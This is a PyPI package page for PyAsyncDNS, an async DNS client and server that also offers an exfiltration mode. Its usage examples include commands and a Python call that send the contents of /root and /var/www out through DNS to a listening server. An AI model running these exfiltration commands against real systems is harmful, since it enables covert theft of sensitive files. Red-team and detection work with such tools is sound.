This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.
Project description
PyAsyncDNS
Description
This package implements a basic asynchronous DNS client and server with a feature to exfiltrate data through DNS.
Requirements
This package require:
- python3
- python3 Standard Library
Installation
Pip
python3 -m pip install PyAsyncDNS
Git
git clone "https://github.com/mauricelambert/PyAsyncDNS.git"
cd "PyAsyncDNS"
python3 -m pip install .
Wget
wget https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .
cURL
curl -O https://github.com/mauricelambert/PyAsyncDNS/archive/refs/heads/main.zip
unzip main.zip
cd PyAsyncDNS-main
python3 -m pip install .
Usages
Command line
PyAsyncDNS # Using CLI package executable
python3 -m PyAsyncDNS # Using python module
python3 PyAsyncDNS.pyz # Using python executable
PyAsyncDNS.exe # Using python Windows executable
PyAsyncDNS resolve example.com
PyAsyncDNS resolve example.com A
PyAsyncDNS resolve example.com AAAA --server 127.0.0.1
PyAsyncDNS resolve example.com MX --server 127.0.0.1 --port 5353
PyAsyncDNS resolve example.com NS --server 127.0.0.1 --port 5353 --udp
PyAsyncDNS resolve example.com TXT --server 127.0.0.1 --port 5353 --tcp
PyAsyncDNS server 127.0.0.1 5353
PyAsyncDNS server 127.0.0.1 5353 --zone zone_example.json
PyAsyncDNS exfiltrator-server 127.0.0.1 53
PyAsyncDNS exfiltration-client 127.0.0.1 53 /root /var/www/
Python script
from PyAsyncDNS import *
from asyncio import run
server = DNSServer(zone={"example.com":{"A":["93.184.216.34"]}}, host='127.0.0.1', port=53) # configure the server
run(server.serve_forever()) # run the DNS service forever
run(query("example.com", "A", '127.0.0.1', 53)) # query IPv4 address for example.com name
run(start_exfiltrator_server('127.0.0.1', 53)) # start server to save exfiltrated files
run(process_directories('/root', "127.0.0.1", 53)) # exfiltrate /root directories through DNS to 127.0.0.1:53 using UDP
Links
- Pypi
- Github
- Documentation datatypes
- Documentation codec
- Documentation client
- Documentation server
- Documentation exfiltrator client
- Documentation exfiltrator server
- Python executable
- Python Windows executable
License
Licensed under the GPL, version 3.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
pyasyncdns-1.0.0.tar.gz
(34.0 kB
view details)
File details
Details for the file pyasyncdns-1.0.0.tar.gz.
File metadata
- Download URL: pyasyncdns-1.0.0.tar.gz
- Upload date:
- Size: 34.0 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
379e299887712e67a6f5b02d90b0be07d0c9bcb95ad3542a35a5830acaec079d
|
|
| MD5 |
c2e63f58d519e587dfcd86001a1a770a
|
|
| BLAKE2b-256 |
e2ee0a91d8599fb4192af7b7546f76acd56a7534213a9389b2c3ca741ba2b760
|